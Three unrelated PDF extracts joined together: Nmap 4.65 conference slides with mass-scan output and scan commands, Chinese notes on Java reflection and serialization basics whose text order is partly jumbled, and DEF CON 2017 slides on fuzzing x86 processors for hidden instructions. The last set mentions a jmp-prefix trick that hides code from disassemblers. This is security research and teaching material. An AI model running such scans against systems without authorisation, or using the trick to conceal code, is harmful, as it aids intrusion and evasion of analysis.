50K_IPs Starting Nmap 4.65 ( http://nmap.org ) at 2008-06-22 19:07 PDT Host sim7124.agni.lindenlab.com (8.10.144.126) appears to be up. Host firewall2.baymountain.com (8.7.97.2) appears to be up. Host 12.1.6.201 appears to be up. Host psor.inshealth.com (12.130.143.43) appears to be up. [thousands of hosts cut] Host ZM088019.ppp.dion.ne.jp (222.8.88.19) appears to be up. Host 105.237.91.222.broad.ak.sn.dynamic. 163data.com.cn (222.91.237.105) appears to be up. Host 222.92.136.102 appears to be up. Nmap done: 50000 IP addresses (4473 hosts up) scanned in 4259.281 seconds Insecure.Org Insecure.Org Enhanced Discovery Results • Enhanced discovery: – took 71 minutes vs. 27 (up 167%) – Found 1,125 more live hosts (up 34%) Insecure.Org Insecure.Org Top Open TCP & UDP Ports • Will be available by Black Hat USA • Substantial reduction of current default 1703 TCP ports, 1480 UDP • --top-ports feature available now, but no data to use it. Insecure.Org Insecure.Org Nmap News! Insecure.Org Insecure.Org Nmap Scripting Engine (NSE) # nmap -A -T4 scanme.nmap.org Starting Nmap ( http://nmap.org ) Interesting ports on scanme.nmap.org (64.13.134.52): Not shown: 1709 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) 25/tcp closed smtp 53/tcp open domain ISC BIND 9.3.4 70/tcp closed gopher 80/tcp open http Apache httpd 2.2.2 ((Fedora)) \|_ HTML title: Site doesn't have a title. 113/tcp closed auth Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.20-1 (Fedora Core 5) Uptime: 40.425 days (since Tue May 13 12:46:59 2008) Nmap done: 1 IP address scanned in 30.567 seconds Raw packets sent: 3464 (154KB) \| Rcvd: 60 (3KB) Insecure.Org Insecure.Org Fixed-rate packet sending nmap –min-rate 500 scanme.nmap.org Insecure.Org Insecure.Org Zenmap GUI Insecure.Org Insecure.Org 2nd Generation OS Detection # nmap -A -T4 scanme.nmap.org [...] Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.20-1 (Fedora Core 5) More info: http://nmap.org/book/osdetect.html Insecure.Org Insecure.Org Version Detection Now has 4,803 signatures More info: http://nmap.org/book/vscan.html # nmap -A -T4 scanme.nmap.org Starting Nmap ( http://nmap.org ) Interesting ports on scanme.nmap.org (64.13.134.52): Not shown: 1709 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) 25/tcp closed smtp 53/tcp open domain ISC BIND 9.3.4 70/tcp closed gopher 80/tcp open http Apache httpd 2.2.2 ((Fedora)) \|_ HTML title: Site doesn't have a title. 113/tcp closed auth Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.20-1 (Fedora Core 5) Uptime: 40.425 days (since Tue May 13 12:46:59 2008) Nmap done: 1 IP address scanned in 30.567 seconds Raw packets sent: 3464 (154KB) \| Rcvd: 60 (3KB) Insecure.Org Insecure.Org --reason # nmap --reason -T4 scanme.nmap.org [...] Interesting ports on scanme.nmap.org (205.217.153.62): Not shown: 1709 filtered ports Reason: 1709 no-responses PORT STATE SERVICE REASON 22/tcp open ssh syn-ack 25/tcp closed smtp reset 53/tcp open domain syn-ack 70/tcp closed gopher reset 80/tcp open http syn-ack 113/tcp closed auth reset Insecure.Org Insecure.Org Advanced Traceroute # nmap –traceroute scanme.nmap.org [...] TRACEROUTE (using port 22/tcp) HOP RTT ADDRESS 1 0.60 wap.nmap-int.org (192.168.0.6) [...] 6 9.74 151.164.251.42 7 10.89 so-1-0-0.mpr1.sjc2.us.above.net (64.125.30.174) 8 10.52 so-4-2-0.mpr3.pao1.us.above.net (64.125.28.142) 9 14.25 metro0.sv.svcolo.com (208.185.168.173) 10 12.80 scanme.nmap.org (64.13.134.52) Insecure.Org Insecure.Org Performance and Accuracy # nmap -T4 --max_rtt_timeout 200 --initial_rtt_timeout 150 -- min_hostgroup 512 –max_retries 0 -n -P0 -p80 -oG pb3.gnmap 216.163.128.0/20 Starting Nmap [...] Nmap run completed -- 4096 IP addresses (4096 hosts up) scanned in 46.052 seconds Insecure.Org Insecure.Org TCP and IP Header Options # nmap -vv -n -sS -P0 -p 445 -- ip-options "L 10.4.2.1" 10.5.2.1 Insecure.Org Insecure.Org Learn More • Download Nmap from http://nmap.org • Download these slides from: http://insecure.org/presentations/BHDC08/	pdf
java反序列化基础知识总结 java的类加载过程 1. 首先是调用 public Class<?> loadClass(String name) 方法，通过public方法调用保护方法 protected Class<?> loadClass(String name, boolean resolve) 2. 在 protected loadClass 方法中，第400行会调用一个 findLoadedClass 方法判断当前类是否已经加载。如果类已经加载，直接返回当前类的类对象。 3. 如果创建当前 ClassLoader 时传入了父类加载器( new ClassLoader (父类加载器))就使用父类加载器加载 TestHelloWorld 类，否则使用 JVM 的 Bootstrap ClassLoader 加载。 4. 如果通过类加载器没有办法加载类，则会通过 findClass 方法尝试加载类。 5. 如果当前的 ClassLoader 没有重写 findClass 方法，则会直接返回类不存在。跟进 findClass 方法进行查看。如果当前类重写了 findClass 方法并通过传入的类名找到了对应的类字节码，那么应该调用 defineClass 方法去 JVM 中注册该类。 6. 如果调用 loadClass 的时候传入的 resolve 参数为true，那么还需要调用 resolveClass 方法链接类,默认为false。 7. 返回一个JVM加载后的java.lang.Class类对象 8. 通过重写 ClassLoader#findClass 方法实现自定义类的加载. package ClassLoader_; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.lang.reflect.Method; import java.util.Arrays; public class selfClassload_ extends ClassLoader{ public static String className="ClassLoader_.HelloWorld"; public static byte[] fileByte; public static void main(String[] args) throws Exception { FileInputStream fis=new FileInputStream("D:\\Java\\project\\study\\serializeSummary\\src\\HelloWorld.cla ss"); fileByte=fileToByte(fis); System.out.println(Arrays.toString(fileByte)); selfClassload_ classload = new selfClassload_(); Class<?> aClass = classload.loadClass(className); Object helloWorld = aClass.newInstance(); Method hello = helloWorld.getClass().getMethod("hello"); System.out.println((String)hello.invoke(helloWorld)); } @Override protected Class<?> findClass(String name) throws ClassNotFoundException { if (name.equals(className)){ return defineClass(className,fileByte,0,fileByte.length); } return super.findClass(name); } public static byte[] fileToByte(FileInputStream fis) throws Exception{ // 将.class文件转成二进制编码 byte[] buffer=null; Class类 1. 上面讲到通过 loadClass 方法加载之后得到是一个 java.lang.Class类对象，关于这个 Class 类对象需要简单说明一下。在java中存在一个 Class 类，作用是当类加载完成之后将类的各种属性，方法进行封装成单独的对象。 2. Source阶段Person.class表示Person.java的字节码文件，在Class类对象阶段，通过实例化一个 Class类生成一个Class类对象用于描述Person.class字节码当中的内容，然后runtime阶段创建对象，也是通过Class类对象进行创建的。 3. 一个小小案例解释一下 Class 类对象. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); byte[] b=new byte[1024]; int n; while ((n=fis.read(b))!=-1){ byteArrayOutputStream.write(b,0,n); } fis.close(); byteArrayOutputStream.close(); buffer=byteArrayOutputStream.toByteArray(); return buffer; } } package class_; public class classClass { public static void main(String[] args) throws Exception{ Person person = new Person(); Class<?> aClass = Class.forName("class_.Person"); System.out.println(person.getClass()); System.out.println(Person.class.getClass()); System.out.println(aClass.getClass()); } } 解释 1. person对象 -->类型Person类 2. aclass对象 -->类型Class类（Class类的一个对象） 3. 在加载类之后，在堆中就产生一个Class类型的对象（一个类只有一个Class对象），这个对象包含了被加载的类的完整结构信息。通过这个对象得到类的结构，这个Class类型的对象就像一面镜子，可以看到类的结构，所以形象的称之为反射。关于class类的几个点： 1. Class也是类，因此也继承Object类（类图） 2. Class类对象不是new出来的，而是系统创建的 3. 对于某个类的Class类对象，在内存中只有一份，因此类只加载一次。 4. 每个类的实例都会记得自己是由哪个Class实例生成的 5. 通过Class可以完整的得到一个类的完整结构，通过一系列的API 6. Class对象是存放在堆当中的 7. 类的字节码二进制数据是放在方法区的，有的地方称之为类的元数据（包括方法代码，变量名，方法名，访问权限等等） java反射概念：将类的各个组成部分封装为其他对象，这就是反射机制 Java反射操作的是java.lang.Class对象。在加载类之后，在堆中就产生一个Class类型的对象（一个类只有一个Class对象），这个对象包含了被加载的类的完整结构信息。通过这个对象得到类的结构，这个Class类型的对象就像一面镜子，可以看到类的结构，通过对Class类提供的一系列API就可以对某个对象进行操作。所以形象的称之为反射。 person.java package reflect1; public class Person { private String name="张三"; public int age=10; private int bge=20; protected int cge=30; int dge=40; public Person(){ } 1. 反射获取 class 类对象 public Person(String name, int age) { this.name = name; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + ", bge=" + bge + ", cge=" + cge + ", dge=" + dge + '}'; } public void eat(){ System.out.println("eating。。。"); } public void say(String content){ System.out.println(content); } } package reflect1; public class Demo1 { public static void main(String[] args) throws Exception { //获取class类对象的方式 //字节码阶段，此时字节码还未进入内存当中 //Class.forName("全类名")，将字节码文件加载进入内存，返回CLass对象 Class cls1=Class.forName("reflect1.Person"); System.out.println(cls1); //字节码文件已经加载进入内存 //通过类名获取。 //类名.class 2. 反射获取成员变量 Class cls2=Person.class;// System.out.println(cls2); Class runtime2=Runtime.class; System.out.println(runtime2); Runtime runtime3=Runtime.getRuntime(); System.out.println(runtime3.getClass()); //runtime阶段 //对象.getclass() 在Object类中定义，全部对象都继承了这个方法 Person p=new Person(); Class cls3=p.getClass(); System.out.println(cls3); } } /* 类加载器加载class文件进入内存类加载器对应java的ClassLoader对象在内存中通过Class类来描述.class字节码文件 Class类用来描述字节码的内容将其余类对象的变量封装为Field对象构造方法封装为Constructor对象成员方法封装为Method对象同一个字节码文件在一次程序的运行过程中，只会被加载一次。 / package reflect1; import java.lang.reflect.Field; public class Demo2 { public static void main(String[] args){ / 获取全部成员变量 / try { Class personClass = Person.class; Field[] fields=personClass.getFields(); //获取所有public修饰的成员变量, 其余类型都不可以 for (Field field:fields){ System.out.println(field); //public int reflect1.Person.age } Field ageField=personClass.getField("age"); //同样只能获取public成员变量 System.out.println(ageField); //操作成员变量 //Person p=new Person(); Object p=personClass.getConstructor().newInstance(); Object result=ageField.get(p); //get方法需要传递一个对象作为参数 System.out.println(result); //设置值 ageField.set(p,100); System.out.println(ageField.get(p)); //再次取值变成100 System.out.println("=============================="); 3. 反射创建对象 5. 反射获取成员方法并执行 Field[] fields1=personClass.getDeclaredFields(); //可以打印全部的成员变量，不管修饰符 for (Field field : fields1){ System.out.println(field); } Field bgeField=personClass.getDeclaredField("bge"); bgeField.setAccessible(true);//(暴力反射)直接取值会爆出异常。想要直接取值，需要忽略权限修饰符的安全检查 Object bge=bgeField.get(p); //直接取值会爆出异常。想要直接取值，需要忽略权限修饰符的安全检查 System.out.println(bge); bgeField.set(p,200); System.out.println(bgeField.get(p)); }catch (Exception e){ System.out.println("========================"); System.out.println(e); } } } package reflect1; import java.lang.reflect.Constructor; public class Demo3 { public static void main(String[] args) { //获取构造方法 try{ Class personClass=Person.class; Constructor constructor=personClass.getConstructor(String.class,int.class); System.out.println(constructor); //创建对象 Object zhangsan=constructor.newInstance("张三",20); System.out.println(zhangsan.toString()); System.out.println("================="); Constructor constructor2=personClass.getConstructor(); Object lisi=constructor2.newInstance(); ///lisi.setName("李四"); System.out.println(lisi.toString()); }catch (Exception e){ System.out.println(e); } } } package reflect1; import java.lang.reflect.Method; public class Demo4 { //获取成员方法 public static void main(String[] args) { Class personClasee = Person.class; //获取public成员方法 try { Method[] personMethod = personClasee.getMethods(); for (Method method: personMethod) { System.out.println(method); / public java.lang.String reflect1.Person.toString() public java.lang.String reflect1.Person.getName() public void reflect1.Person.setName(java.lang.String) public void reflect1.Person.say(java.lang.String) public void reflect1.Person.eat() public void reflect1.Person.setAge(int) public int reflect1.Person.getAge() public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() / //获取方法名称 System.out.println(method.getName()); } }catch (Exception e){ System.out.println(e); } System.out.println("====================================="); //获取指定方法{ try { Person p=new Person(); //System.out.println(personClasee.getClass()); Method methodEat = personClasee.getMethod("eat"); //空参方法1 methodEat.invoke(p); Method methodSay=personClasee.getMethod("say", String.class); methodSay.invoke(p,"张三"); } catch (Exception e) { System.out.println(e); } } } 序列化与反序列化关于重写 readObject 方法，以及重写 readObject 方法之后，反序列化的时候是如何调用 readObject 的,可以通过 debug 的方式进行跟踪,最后发现在 ObjectStreamClass.java 中存在一个反射调用. 简单的反序列化实例. Person类： package serialize; import java.io.IOException; import java.io.Serializable; / 需要实现serializeable接口 / public class Person2 implements Serializable { public transient String reflect; private String name; public String age; //private static final long serialVersionUID=-5702540850087186263L; //SerialVersionUid 序列化版本号的作用是用来区分我们所编写的类的版本，用于判断反序列化时类的版本是否一直，如果不一致会出现版本不一致异常。 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ //in.defaultReadObject(); System.out.println("1111111"); } @Override public String toString() { return "Person2{" + "reflect='" + reflect + '\'' + ", name='" + name + '\'' + ", age='" + age + '\'' + '}'; } public Person2(String reflect, String name, String age) { this.reflect = reflect; this.name = name; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getAge() { return age; } public void setAge(String age) { this.age = age; } } ObjectOutput类： package serialize; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; / java的序列化流，ObjectOutputStream（OutputStream out） 1、创建objoutput对象 2、使用writeobj方法将对象写入文件 / public class ObjectOutput { public static void main(String[] args) throws IOException { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("src\\result.txt")); oos.writeObject(new Person2("test","张三","20")); //java.io.NotSerializableException: serialize.Person Person类为实现序列化接口 oos.close(); } } ObjectInput类： package serialize; import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; / 在序列化当中，因为静态方法是优先于对象加载进入内存的，所以成员变量是不能被序列化的 */ public class ObjectInput { public static void main(String[] args) throws IOException, ClassNotFoundException { 反序列的几个关键知识点. 1. 读写顺序一致 2. 实现 Serializable 接口 3. static 和 transient 关键字修饰的属性不被反序列化 4. 内部属性的类型也需要实现 Serializable 接口 5. 具有继承性,父类可以序列化那么子类同样可以 ObjectInputStream objInput=new ObjectInputStream(new FileInputStream("src\\result.txt")); Object obj=objInput.readObject(); //obj.getName(); System.out.println(obj); Person2 p=(Person2) obj; System.out.println(p.toString()); } }	pdf
{ Breaking the x86 ISA domas / @xoreaxeaxeax / DEF CON 2017 Christopher Domas Cyber Security Researcher @ Battelle Memorial Institute ./bio We don’t trust software. We audit it We reverse it We break it We sandbox it Trust. But the processor itself? We blindly trust Trust. Why? Hardware has all the same problems as software Secret functionality? Appendix H. Bugs? F00F, FDIV, TSX, Hyperthreading, Ryzen Vulnerabilities? SYSRET, cache poisoning, sinkhole Trust. We should stop blindly trusting our hardware. Trust. What do we need to worry about? Historical examples ICEBP (f1) LOADALL (0f07) apicall (0ffff0) Hidden instructions So… what’s this?? Find out what’s really there Goal: Audit the Processor How to find hidden instructions? The challenge Instructions can be one byte … inc eax 40 … or 15 bytes ... lock add qword cs:[eax + 4 * eax + 07e06df23h], 0efcdab89h 2e 67 f0 48 818480 23df067e 89abcdef Somewhere on the order of 1,329,227,995,784,915,872,903,807,060,280,344,576 possible instructions The challenge https://code.google.com/archive/p/corkami/wikis/x86oddities.wiki The obvious approaches don’t work: Try them all? Only works for RISC Try random instructions? Exceptionally poor coverage Guided based on documentation? Documentation can’t be trusted (that’s the point) Poor coverage of gaps in the search space The challenge Goal: Quickly skip over bytes that don’t matter The challenge Observation: The meaningful bytes of an x86 instruction impact either its length or its exception behavior The challenge A depth-first-search algorithm Tunneling Guess an instruction: Tunneling 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Execute the instruction: Tunneling 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Observe its length: Tunneling 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Increment the last byte: Tunneling 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 Execute the instruction: Tunneling 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 Observe its length: Tunneling 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 Increment the last byte: Tunneling 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 Execute the instruction: Tunneling 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 Observe its length: Tunneling 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 Increment the last byte: Tunneling 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 Execute the instruction: Tunneling 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 Observe its length: Tunneling 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 Increment the last byte: Tunneling 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 Execute the instruction: Tunneling 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 Observe its length: Tunneling 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 Increment the last byte: Tunneling 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 Execute the instruction: Tunneling 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 Observe its length: Tunneling 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 Increment the last byte: Tunneling 00 04 02 00 00 00 00 00 00 00 00 00 00 00 00 000000000000000000000000000000 000100000000000000000000000000 000200000000000000000000000000 000300000000000000000000000000 000400000000000000000000000000 000401000000000000000000000000 000402000000000000000000000000 000403000000000000000000000000 000404000000000000000000000000 000405000000000000000000000000 000405000000010000000000000000 000405000000020000000000000000 000405000000030000000000000000 000405000000040000000000000000 When the last byte is FF… Tunneling C7 04 05 00 00 00 00 00 00 00 FF 00 00 00 00 … roll over … Tunneling C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00 ... and move to the previous byte Tunneling C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00 This byte becomes the marker Tunneling C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00 Increment the marker Tunneling C7 04 05 00 00 00 00 00 00 01 00 00 00 00 00 Execute the instruction Tunneling C7 04 05 00 00 00 00 00 00 01 00 00 00 00 00 Observe its length Tunneling C7 04 05 00 00 00 00 00 00 01 00 00 00 00 00 If the length has not changed… Tunneling C7 04 05 00 00 00 00 00 00 01 00 00 00 00 00 Increment the marker Tunneling C7 04 05 00 00 00 00 00 00 02 00 00 00 00 00 And repeat. Tunneling C7 04 05 00 00 00 00 00 00 02 00 00 00 00 00 Continue the process… Tunneling C7 04 05 00 00 00 00 00 00 FF 00 00 00 00 00 … moving back on each rollover Tunneling C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00 … moving back on each rollover Tunneling C7 04 05 00 00 00 00 00 FF 00 00 00 00 00 00 … moving back on each rollover Tunneling C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00 … Tunneling C7 04 05 00 00 00 00 FF 00 00 00 00 00 00 00 … Tunneling C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00 … Tunneling C7 04 05 00 00 00 FF 00 00 00 00 00 00 00 00 … Tunneling C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00 … Tunneling C7 04 05 00 00 FF 00 00 00 00 00 00 00 00 00 … Tunneling C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00 … Tunneling C7 04 05 00 FF 00 00 00 00 00 00 00 00 00 00 … Tunneling C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00 … Tunneling C7 04 05 FF 00 00 00 00 00 00 00 00 00 00 00 … Tunneling C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00 When you increment a marker… Tunneling C7 04 06 00 00 00 00 00 00 00 00 00 00 00 00 … execute the instruction … Tunneling C7 04 06 00 00 00 00 00 00 00 00 00 00 00 00 … and the length changes … Tunneling C7 04 06 00 00 00 00 00 00 00 00 00 00 00 00 … move the marker to the end of the new instruction … Tunneling C7 04 06 00 00 00 00 00 00 00 00 00 00 00 00 Tunneling C7 04 06 00 00 00 01 00 00 00 00 00 00 00 00 … and resume the process. Tunneling through the instruction space lets us quickly skip over the bytes that don’t matter, and exhaustively search the bytes that do… Tunneling … reducing the search space from 1.3x1036 instructions to ~100,000,000 (one day of scanning) Tunneling Catch: requires knowing the instruction length Instruction lengths Simple approach: trap flag Fails to resolve the length of faulting instructions Necessary to search privileged instructions: ring 0 only: mov cr0, eax ring -1 only: vmenter ring -2 only: rsm Instruction lengths Solution: page fault analysis Instruction lengths Choose a candidate instruction (we don’t know how long this instruction is) Page fault analysis 0F 6A 60 6A 79 6D C6 02 6E AA D2 39 0B B7 52 Configure two consecutive pages in memory The first with read, write, and execute permissions The second with read, write permissions only Page fault analysis Place the candidate instruction in memory Place the first byte at the end of the first page Place the remaining bytes at the start of the second Page fault analysis 0F 6A 60 6A 79 6D C6 02 … Execute (jump to) the instruction. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … The processor’s instruction decoder checks the first byte of the instruction. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … If the decoder determines that another byte is necessary, it attempts to fetch it. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … This byte is on a non-executable page, so the processor generates a page fault. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … The #PF exception provides a fault address in the CR2 register. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … If we receive a #PF, with CR2 set to the address of the second page, we know the instruction continues. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … Move the instruction back one byte. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … Execute the instruction. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … The processor’s instruction decoder checks the first byte of the instruction. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … If the decoder determines that another byte is necessary, it attempts to fetch it. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … Since this byte is in an executable page, decoding continues. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … If the decoder determines that another byte is necessary, it attempts to fetch it. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … This byte is on a non-executable page, so the processor generates a page fault. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … Move the instruction back one byte. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … Execute the instruction. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … Continue the process while we receive #PF exceptions with CR2 = second page address Page fault analysis 0F 6A 60 6A 79 6D C6 02 … Move the instruction back one byte. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … Execute. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … Eventually, the entire instruction will reside in the executable page. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … The instruction could run. The instruction could throw a different fault. The instruction could throw a #PF, but with a different CR2. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … In all cases, we know the instruction has been successfully decoded, so must reside entirely in the executable page. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … With this, we know the instruction’s length. Page fault analysis 0F 6A 60 6A 79 6D C6 02 … We now know how many bytes the instruction decoder consumed But just because the bytes were decoded does not mean the instruction exists If the instruction does not exist, the processor generates the #UD exception after the instruction decode (invalid opcode exception) Page fault analysis If we don’t receive a #UD, the instruction exists. Page fault analysis Resolves lengths for: Successfully executing instructions Faulting instructions Privileged instructions: ring 0 only: mov cr0, eax ring -1 only: vmenter ring -2 only: rsm Page fault analysis The “injector” process performs the page fault analysis and tunneling instruction generation The Injector We’re fuzzing the same device that we’re running on How do we make sure we don’t crash? Surviving Step 1: Limit ourselves to ring 3 We can still resolve instructions living in deeper rings This prevents accidental total system failure (except in the case of serious processor bugs) Surviving Step 2: Hook all exceptions the instruction might generate In Linux: SIGSEGV SIGILL SIGFPE SIGBUS SIGTRAP Process will clean up after itself when possible Surviving Step 3: Initialize general purpose registers to 0 Arbitrary memory write instructions like add [eax + 4 * ecx], 0x9102 will not hit the injecting process’s address space Surviving Step 3 (continued): Memory calculations using an offset: add [eax + 4 * ecx + 0xf98102cd6], 0x9102 would still result in non-zero accesses Could lead to process corruption if the offset falls into the injector’s address space Surviving Step 3 (continued): The tunneling approach ensures offsets are constrained 0x0000002F 0x0000A900 0x00420000 0x1E000000 The tunneled offsets will not fall into the injector’s address space They will seg fault, but seg faults are caught The process still won’t corrupt itself Surviving We’ve handled faulting instructions What about non-faulting instructions? The analysis needs to continue after an instruction executes Surviving Set the trap flag prior to executing the candidate instruction On trap, reload the registers to a known state Surviving With these… Ring 3 Exception handling Register initialization Register maintenance Execution trapping … the injector survives. Surviving So we now have a way to search the instructions space. How do we make sense of the instructions we execute? Analysis The “sifter” process parses the executions from the injector, and pulls out the anomalies The Sifter We need a “ground truth” Use a disassembler It was written based on the documentation Capstone Sifting Undocumented instruction: Disassembler doesn’t recognize byte sequence and … Instruction generates anything but a #UD Software bug: Disassembler recognizes instruction but … Processor says the length is different Hardware bug: ??? No consistent heuristic, investigate when something fails Sifting sandsifter - demo (sandsifter) (summarizer) We now have a way to systematically scan our processor for secrets and bugs Scanning I scanned eight systems in my test library. Scanning Hidden instructions Ubiquitous software bugs Hypervisor flaws Hardware bugs Results Hidden instructions Scanned: Intel Core i7-4650U CPU Intel hidden instructions 0f0dxx Undocumented for non-/1 reg fields 0f18xx, 0f{1a-1f}xx Undocumented until December 2016 0fae{e9-ef, f1-f7, f9-ff} Undocumented for non-0 r/m fields until June 2014 Intel hidden instructions dbe0, dbe1 df{c0-c7} f1 {c0-c1}{30-37, 70-77, b0-b7, f0-f7} {d0-d1}{30-37, 70-77, b0-b7, f0-f7} {d2-d3}{30-37, 70-77, b0-b7, f0-f7} f6 /1, f7 /1 Intel hidden instructions Scanned: AMD Athlon (Geode NX1500) AMD hidden instructions 0f0f{40-7f}{80-ff}{xx} Undocumented for range of xx dbe0, dbe1 df{c0-c7} AMD hidden instructions Scanned: VIA Nano U3500, VIA C7-M VIA hidden instructions 0f0dxx Undocumented by Intel for non-/1 reg fields 0f18xx, 0f{1a-1f}xx Undocumented by Intel until December 2016 0fa7{c1-c7} 0fae{e9-ef, f1-f7, f9-ff} Undocumented by Intel for non-0 r/m fields until June 2014 dbe0, dbe1 df{c0-c7} VIA hidden instructions What do these do? Some have been reverse engineered Some have no record at all. Hidden instructions Software bugs Issue: The sifter is forced to use a disassembler as its “ground truth” Every disassembler we tried as the “ground truth” was littered with bugs. Software bugs Most bugs only appear in a few tools, and are not especially interesting Some bugs appeared in all tools These can be used to an attacker’s advantage. Software bugs 66e9xxxxxxxx (jmp) 66e8xxxxxxxx (call) Software bugs 66e9xxxxxxxx (jmp) 66e8xxxxxxxx (call) In x86_64 Theoretically, a jmp (e9) or call (e8), with a data size override prefix (66) Changes operand size from default of 32 Does that mean 16 bit or 64 bit? Neither. 66 is ignored by the processor here. Software bugs Everyone parses this wrong. Software bugs Software bugs (IDA) Software bugs (VS) An attacker can use this to mask malicious behavior Throw off disassembly and jump targets to cause analysis tools to miss the real behavior Software bugs Software bugs (objdump) Software bugs (QEMU) 66 jmp Why does everyone get this wrong? AMD: override changes operand to 16 bits, instruction pointer truncated Intel: override ignored. Software bugs Issues when we can’t agree on a standard sysret bugs Either Intel or AMD is going to be vulnerable when there is a difference Impractically complex architecture Tools cannot parse a jump instruction Software bugs Hypervisor bugs In an Azure instance, the trap flag is missed on the cpuid instruction (cpuid causes a vmexit, and the hypervisor forgets to emulate the trap) Azure hypervisor bugs Azure hypervisor bugs Hardware bugs Hardware bugs are troubling A bug in hardware means you now have the same bug in all of your software. Difficult to find Difficult to fix Hardware bugs Scanned: Quark, Pentium, Core i7 Intel hardware bugs f00f bug on Pentium (anti-climactic) Intel hardware bugs Scanned: Geode NX1500, C-50 AMD hardware bugs On several systems, receive a #UD exception prior to complete instruction fetch Per AMD specifications, this is incorrect. #PF during instruction fetch takes priority … until … AMD hardware bugs Scanned: TM5700 Transmeta hardware bugs Instructions: 0f{71,72,73}xxxx Can receive #MF exception during fetch Example: Pending x87 FPU exception psrad mm4, -0x50 (0f72e4b0) #MF received after 0f72e4 fetched Correct behavior: #PF on fetch, last byte is still on invalid page Transmeta hardware bugs Found on one processor... An apparent “halt and catch fire” instruction Single malformed instruction in ring 3 locks the processor Tested on 2 Windows kernels, 3 Linux kernels Kernel debugging, serial I/O, interrupt analysis seem to confirm Unfortunately, not finished with responsible disclosure No details available on chip, vendor, or instructions (redacted) hardware bugs ring 3 processor DoS: demo First such attack found in 20 years (since Pentium f00f) (redacted) hardware bugs Significant security concern: processor DoS from unprivileged user (redacted) hardware bugs Details (hopefully) released within the next month (stay tuned) (redacted) hardware bugs Open sourced: The sandsifter scanning tool github.com/xoreaxeaxeax/sandsifter Audit your processor, break disassemblers/emulators/hypervisors, halt and catch fire, etc. Conclusions I’ve only scanned a few systems This is a fraction of what I found on mine Who knows what exists on yours Conclusions Check your system Send us results if you can Conclusions Don’t blindly trust the specifications. Conclusions Sandsifter lets us introspect the black box at the heart of our systems. Conclusions github.com/xoreaxeaxeax sandsifter M/o/Vfuscator REpsych x86 0-day PoC Etc. Feedback? Ideas? domas @xoreaxeaxeax [email protected]	pdf
